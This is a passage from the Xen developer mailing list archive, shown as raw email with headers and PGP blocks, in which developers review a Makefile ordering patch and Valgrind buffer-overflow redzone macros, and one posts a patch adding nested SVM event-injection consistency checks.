 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGV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uTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <898091b0-0c73-4829-a3b4-c8da6026a40c@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------ttqtow8KSe3CHk5B6cO4lSms"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784119400257
X-purgate-ID: tlsNG-d62444/1784119402-C475B757-5CA8E507/0/0
X-purgate-type: clean
X-purgate-size: 5838

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------ttqtow8KSe3CHk5B6cO4lSms
Content-Type: multipart/mixed; boundary="------------INRN0CwkcCjjtZGhuVhdjc30";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Message-ID: <b741a78c-88ac-41c6-adb6-d707a209b1e8@vates.tech>
Subject: Re: [PATCH 2/2] x86: put x86_emulate/ early in $(obj-y)
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <898091b0-0c73-4829-a3b4-c8da6026a40c@suse.com>
In-Reply-To: <898091b0-0c73-4829-a3b4-c8da6026a40c@suse.com>

--------------INRN0CwkcCjjtZGhuVhdjc30
Content-Type: multipart/mixed; boundary="------------09Hows03yfZ6nsJFTOaoWD9R"

--------------09Hows03yfZ6nsJFTOaoWD9R
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDkvMDcvMjAyNiDDoCAxNDowMCwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gLi4u
IHN1Y2ggdGhhdCBpbiBwYXJhbGxlbCBidWlsZHMgbWFrZSB3b3VsZCBzY2hlZHVsZSBpdCBl
YXJseS4NCj4gDQo+IFNpZ25lZC1vZmYtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBzdXNl
LmNvbT4NCj4gDQo+IC0tLSBhL3hlbi9hcmNoL3g4Ni9NYWtlZmlsZQ0KPiArKysgYi94ZW4v
YXJjaC94ODYvTWFrZWZpbGUNCj4gQEAgLTEsMyArMSw3IEBADQo+ICsjIFB1dCB0aGlzIGFo
ZWFkIG9mIHRoZSBzb3J0ZWQgbGlzdCBiZWxvdywgYXMgaXQgdGFrZXMgbG9uZyB0byBidWls
ZCBhbmQgaGVuY2UNCj4gKyMgd2UnZCBsaWtlIHBhcmFsbGVsIG1ha2UgdG8gc2NoZWR1bGUg
aXRzIGJ1aWxkaW5nIGVhcmx5Lg0KPiArb2JqLXkgKz0geDg2X2VtdWxhdGUvDQo+ICsNCj4g
ICBvYmoteSArPSBhY3BpLw0KPiAgIG9iai15ICs9IGJvb3QvDQo+ICAgb2JqLXkgKz0gY3B1
Lw0KPiBAQCAtOSw3ICsxMyw2IEBAIG9iai15ICs9IGxpYi8NCj4gICBvYmoteSArPSBtbS8N
Cj4gICBvYmotJChDT05GSUdfUFYpICs9IHB2Lw0KPiAgIG9iai15ICs9IHg4Nl82NC8NCj4g
LW9iai15ICs9IHg4Nl9lbXVsYXRlLw0KPiAgIA0KPiAgIG9iai15ICs9IGFsdGVybmF0aXZl
Lm8NCj4gICBvYmoteSArPSBhcGljLm8NCj4gDQo+IA0KDQpSZXZpZXdlZC1ieTogVGVkZHkg
QXN0aWUgPHRlZGR5LmFzdGllQHZhdGVzLnRlY2g+DQo=
--------------09Hows03yfZ6nsJFTOaoWD9R
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeL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XZRkUE9C3FnkzEFRkKbYu6NCfiHfEyB3Xyg9hfdrRgj
MRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ovXoK4jm+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------09Hows03yfZ6nsJFTOaoWD9R--

--------------INRN0CwkcCjjtZGhuVhdjc30--

--------------ttqtow8KSe3CHk5B6cO4lSms
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpXgGcFAwAAAAAACgkQZg+p0QLLz9DU
TAv/TsdvvASQ8Bc0pCLa0F8TvEVj2rFkqvAP+oV6DsBhBa5xZan/7zpBwdrOQ7MANcvbD8NVlOmT
p+gLQ1h0SUUe4iN9dS9kVuTC0VftIMWOPYf3G+vm2kiDYiXyPBdQco6Sac3D1/XqkaGm2PijK1o9
9GHHW+l9fZC1kkroi3XWtAx0IRarV6UZPrEbRLoPH5cThowjfRG8iIFn0oPmzutV2bXgCEc1Bghc
M2xoBQGXbVQRuHt118/WqslZbTvseKa7g4ufpBuFZhF9QyVg+0hkAcIWgg/g3RF7eSEV/2MrqpwQ
pzVg9q9q+d3jyVync+u08mQthuaFo9hZV53EHLf+eD7c92JLYJXyVxbSRV943evKt055J/CiXMhW
vXDdfYMZtV5xZb+hrGKP0gshy+GlPT7L6L+R5ztfLMSDscblmqFj/5tyMDidgmhu7Nk6nrwOLoDx
/8DQ7qLrHXzIqdspcoOe7d9LSjXOcqm3uxdW29XKnmyQloT10WaTnbJ4jNQ8
=ISeI
-----END PGP SIGNATURE-----

--------------ttqtow8KSe3CHk5B6cO4lSms--


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 13:32:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 13:32:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363079.1614908 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzit-00052L-Fz; Wed, 15 Jul 2026 13:32:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363079.1614908; Wed, 15 Jul 2026 13:32:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzit-00052E-C0; Wed, 15 Jul 2026 13:32:27 +0000
Received: by outflank-mailman (input) for mailman id 1363079;
 Wed, 15 Jul 2026 13:32:26 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5@swg.vates.tech>)
 id 1wjzir-000528-H8
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:32:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjziq-0039RC-Lm
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 15:32:24 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5@swg.vates.tech>)
 id 6a578bd9-5cb7-0a2a0a5109dd-0a2a4501a052-44
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:32:24 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5@swg.vates.tech>)
 id 6a578be8-5984-0a2a45010019-b9ff1c12a039-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:32:24 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f65fa7df1000edb5.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 13:32:22 +0000
Received: from l14 (areims-651-1-80-194.w90-18.abo.wanadoo.fr [90.18.187.194])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2C03A82227;
 Wed, 15 Jul 2026 15:32:22 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=BEtayOb+VvUwy9P6LoGVuc4PhAut7kLpQMxrozWQyeM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=LbVCv/paijkzsmvtDpJQMuKcUymSh3ON7cnDEl5bh+MQfq0+8SDL4pvAAkREGS+99+qmfHuh0
 buI5VbmKfCgmL88C8cVd0rzg1DG+wQ0dZs8ocQs9KWt4tw7/1JG5POJIDTaGeTEcVGFTYQ2CNod
 fHb8cB0RQ65DdOvEZvfeVtl2GNJi8+t/hhKSEXSYYC4hwUbyZThGv0kEwI42jPf2TMLlWgT2Qqm
 4cBv47g6dSsAlsoOLaj3j9yl/bqAryvbMhuU/yPhKSd5O9UzBcMUN2RUK7ciYmN8QJ9f6lFmN5e
 Upr5OkPM5e2J2xHOBhpxvnPDn2pxHcBsU7QMcesYC3KQ==
X-Zone-Loop: 6bffdd597665c395f4d5f789d6ac4ad77bf78e30eb08
x-campaign-type: default
x-transaction-id: 9c80ce74-408b-4c0e-b7e4-7ca891a73572
x-swg-uid: 01-74635579-f788-4c0f-b564-c9fe9ac50c36
X-Mailer: Sweego
Message-ID:
 <1784122342.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5@vates.tech>
x-swg-bid: 1784122342.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 15 Jul 2026 15:32:21 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v9 4/4] libs/guest: use Valgrind to detect various buffer
 overflows
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
 <20260713204802.105115-5-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260713204802.105115-5-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.887.b73258ecbeb7d5db.19f65fa7ba7.8ef4226bdd5936ec=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784122342312
X-purgate-ID: tlsNG-d62444/1784122344-1EE60757-FB16FEBC/0/0
X-purgate-type: clean
X-purgate-size: 3663

---=Part.887.b73258ecbeb7d5db.19f65fa7ba7.8ef4226bdd5936ec=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Mon, Jul 13, 2026 at 09:48:02PM +0100, Frediano Ziglio wrote:
> --- a/tools/libs/ctrl/xc_private=2Eh
> +++ b/tools/libs/ctrl/xc_private=2Eh
> @@ -45,8 +45,16 @@
>  #if defined(HAVE_VALGRIND_MEMCHECK_H) && !defined(NDEBUG) && !defined(_=
_MINIOS__)
>  /* Compile in Valgrind client requests? */
>  #include <valgrind/memcheck=2Eh>
> +#define MEM_NOACCESS_BUFFER(name, size) uint8_t name[size];
> +#define MEM_NOACCESS_INIT(field) \
> +    VALGRIND_MAKE_MEM_NOACCESS(field, sizeof(field))
> +#define MEM_UNDEFINED_INIT(field) \
> +    VALGRIND_MAKE_MEM_UNDEFINED(field, sizeof(field))
>  #else
>  #define VALGRIND_MAKE_MEM_UNDEFINED(addr, len) /* addr, len */
> +#define MEM_NOACCESS_BUFFER(name, size)
> +#define MEM_NOACCESS_INIT(field) do {} while(0)
> +#define MEM_UNDEFINED_INIT(field) do {} while(0)

Why the _INIT suffix in the macros? It looks like something is
initialised, but that's not the case=2E

We could follow the valgrind naming and do, while using something
different than "mem" to say we don't need a size:
make_buffer_noaccess and make_buffer_undefined

Or
mark_buffer_as_noaccess
mark_buffer_as_undefined


>  #endif
> =20
>  #if defined(__MINIOS__)
> diff --git a/tools/libs/guest/xg_sr_common=2Eh b/tools/libs/guest/xg_sr_=
common=2Eh
> index c07c6db59e=2E=2Ed3fc7f363e 100644
> --- a/tools/libs/guest/xg_sr_common=2Eh
> +++ b/tools/libs/guest/xg_sr_common=2Eh
> @@ -245,13 +245,21 @@ struct xc_sr_context
>              xc_hypercall_buffer_t dirty_bitmap_hbuf;
>              struct xc_sr_context_save_buffers
>              {
> +                MEM_NOACCESS_BUFFER(na0, 16);

This first redzone buffer and the last (na7) one looks unnecessary, as
they are before the beginning of the buffer, and after the end=2E

>                  xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na1, 16);
>                  xen_pfn_t mfns[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na2, 16);
>                  xen_pfn_t types[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na3, 16);
>                  void *local_pages[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na4, 16);
>                  struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data=
=2E */
> +                MEM_NOACCESS_BUFFER(na5, 16);
>                  uint64_t rec_pfns[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na6, 16);
>                  int errors[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na7, 16);
>              } *buffers;
>          } save;
> =20
> diff --git a/tools/libs/guest/xg_sr_save=2Ec b/tools/libs/guest/xg_sr_sa=
ve=2Ec
> index 6a77e33a47=2E=2E25561e369f 100644
> --- a/tools/libs/guest/xg_sr_save=2Ec
> +++ b/tools/libs/guest/xg_sr_save=2Ec
> @@ -123,6 +123,11 @@ static int write_batch(struct xc_sr_context *ctx)
>      assert(nr_pfns !=3D 0);
>      assert(nr_pfns <=3D MAX_BATCH_SIZE);
> =20
> +    MEM_UNDEFINED_INIT(ctx->save=2Ebuffers->mfns);
> +    MEM_UNDEFINED_INIT(ctx->save=2Ebuffers->types);
> +    MEM_UNDEFINED_INIT(ctx->save=2Ebuffers->iov);
> +    MEM_UNDEFINED_INIT(ctx->save=2Ebuffers->rec_pfns);

Why is errors not also marked as undefined?

To bad we can't really test this patch, beside check that it build=2E

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.887.b73258ecbeb7d5db.19f65fa7ba7.8ef4226bdd5936ec=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 13:37:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 13:37:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363090.1614915 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzo5-0005f3-0y; Wed, 15 Jul 2026 13:37:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363090.1614915; Wed, 15 Jul 2026 13:37:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzo4-0005ew-Uf; Wed, 15 Jul 2026 13:37:48 +0000
Received: by outflank-mailman (input) for mailman id 1363090;
 Wed, 15 Jul 2026 13:37:47 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wjzo3-0005ea-L1
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:37:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjzo2-004YDq-Qr
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 15:37:46 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a578d16-bab6-0a2a0a5309dd-0a2a450b8150-36
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:37:46 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a578d29-b7e8-0a2a450b0019-a0658309e43a-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:37:46 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id 6A1F682CD4A3;
 Wed, 15 Jul 2026 09:36:07 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com,
	teddy.astie@vates.tech,
	Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
Subject: [PATCH v1] nSVM: Check injected event consistency
Date: Wed, 15 Jul 2026 14:35:36 +0100
Message-ID: <d01b3d5327ace27ca9d81244a168ba2ab6ed094d.1784121738.git.abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784122666-18AC89EA-374C2853/0/0
X-purgate-type: clean
X-purgate-size: 4965

On the AMD platforms, allowing a VMRUN instruction with a malformed VMCB has
debugging complications, security and performance implications. The APM volume
2 15.20 [1] states two possibilities that result in a VMRUN exit with
VMEXIT_INVALID due to injected events. These are either
â€¢ Reserved values of TYPE have been specified.
â€¢ TYPE = 3 (exception) has been specified with a vector that does not
  correspond to an exception (this includes vector 2, which is an NMI, not
  an exception).
Extend the VMCB checks to check for such inconsistency.

The collection of the invalid exception vectors are picked from the upstream KVM
commit ("7e79f71bca5c" KVM: nSVM: Add missing consistency check for EVENTINJ).

[1] https://docs.amd.com/v/u/en-US/24593_3.44_APM_Vol2

Signed-off-by: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
---
Testing:
 - Using a locally developed XTF nested virt setup, I manually tested VMRUN
   instruction handling with a malformed VMCB:
   1) Inject event with the type (7). 
      The hypervisor logs show the message
      (XEN) [  645.155609] d2v0[nsvm_vmcb_prepare4vmrun]: eventinj: Invalid Injected
            Event Type: (0x7)
   2) Inject event with the exception value (3) and the vector value (2) for NMI.
      The hypervisor logs show the message
      (XEN) [  645.157277] d2v0[nsvm_vmcb_prepare4vmrun]: eventinj: Invalid Injected Event.
             Exception type: (0x3), with a vector: (0x2) does not belong to an exception

 - CI tests:
https://gitlab.com/xen-project/people/aabdelsa/xen/-/pipelines/2678629270
---
 xen/arch/x86/hvm/svm/vmcb.c | 36 ++++++++++++++++++++++++++++++++++++
 xen/arch/x86/hvm/svm/vmcb.h |  3 +++
 2 files changed, 39 insertions(+)

diff --git a/xen/arch/x86/hvm/svm/vmcb.c b/xen/arch/x86/hvm/svm/vmcb.c
index 975a1eaef8..1ca8474958 100644
--- a/xen/arch/x86/hvm/svm/vmcb.c
+++ b/xen/arch/x86/hvm/svm/vmcb.c
@@ -320,6 +320,31 @@ void svm_vmcb_dump(const char *from, const struct vmcb_struct *vmcb)
     svm_dump_sel("  TR", &vmcb->tr);
 }
 
+static bool is_valid_svm_vmcb_injected_exception_vector(
+    const struct vmcb_struct *vmcb, uint8_t vmcb_injected_vector)
+{
+    return ( (vmcb_injected_vector == X86_EXC_DE) ||
+             (vmcb_injected_vector == X86_EXC_DB) ||
+             (vmcb_injected_vector == X86_EXC_BP) ||
+             (vmcb_injected_vector == X86_EXC_OF) ||
+             (vmcb_injected_vector == X86_EXC_BR) ||
+             (vmcb_injected_vector == X86_EXC_UD) ||
+             (vmcb_injected_vector == X86_EXC_NM) ||
+             (vmcb_injected_vector == X86_EXC_DF) ||
+             (vmcb_injected_vector == X86_EXC_TS) ||
+             (vmcb_injected_vector == X86_EXC_NP) ||
+             (vmcb_injected_vector == X86_EXC_SS) ||
+             (vmcb_injected_vector == X86_EXC_GP) ||
+             (vmcb_injected_vector == X86_EXC_PF) ||
+             (vmcb_injected_vector == X86_EXC_MF) ||
+             (vmcb_injected_vector == X86_EXC_AC) ||
+             (vmcb_injected_vector == X86_EXC_MC) ||
+             (vmcb_injected_vector == X86_EXC_XM) ||
+             (vmcb_injected_vector == X86_EXC_HV) ||
+             (vmcb_injected_vector == X86_EXC_SX) ||
+             (vmcb_get_sev_es(vmcb) && vmcb_injected_vector == X86_EXC_VC) );
+}
+
 bool svm_vmcb_isvalid(
     const char *from, const struct vmcb_struct *vmcb, const struct vcpu *v,
     bool verbose)
@@ -330,6 +355,8 @@ bool svm_vmcb_isvalid(
     unsigned long cr4 = vmcb_get_cr4(vmcb);
     unsigned long valid;
     uint64_t efer = vmcb_get_efer(vmcb);
+    uint8_t vmcb_injected_type = vmcb->event_inj.type & SVM_EVENT_INJ_TYPE_MASK;
+    uint8_t vmcb_injected_vector = vmcb->event_inj.vector & SVM_EVENT_INJ_VEC_MASK;
 
 #define PRINTF(fmt, args...) do { \
     if ( !verbose ) return true; \
@@ -392,6 +419,15 @@ bool svm_vmcb_isvalid(
         PRINTF("eventinj: MBZ bits are set (%#"PRIx64")\n",
                vmcb->event_inj.raw);
 
+    if ( vmcb_injected_type > X86_ET_SW_INT )
+        PRINTF("eventinj: Invalid Injected Event Type: (%#"PRIx8")\n",
+               vmcb_injected_type);
+
+    if ( (vmcb_injected_type == X86_ET_HW_EXC) &&
+         !is_valid_svm_vmcb_injected_exception_vector(vmcb, vmcb_injected_vector) )
+        PRINTF("eventinj: Invalid Injected Event. Exception type: (%#"PRIx8"),"
+               " with a vector: (%#"PRIx8") does not belong to an exception\n",
+               vmcb_injected_type, vmcb_injected_vector);
 #undef PRINTF
     return ret;
 }
diff --git a/xen/arch/x86/hvm/svm/vmcb.h b/xen/arch/x86/hvm/svm/vmcb.h
index 13ccfd3ff9..3c22095db1 100644
--- a/xen/arch/x86/hvm/svm/vmcb.h
+++ b/xen/arch/x86/hvm/svm/vmcb.h
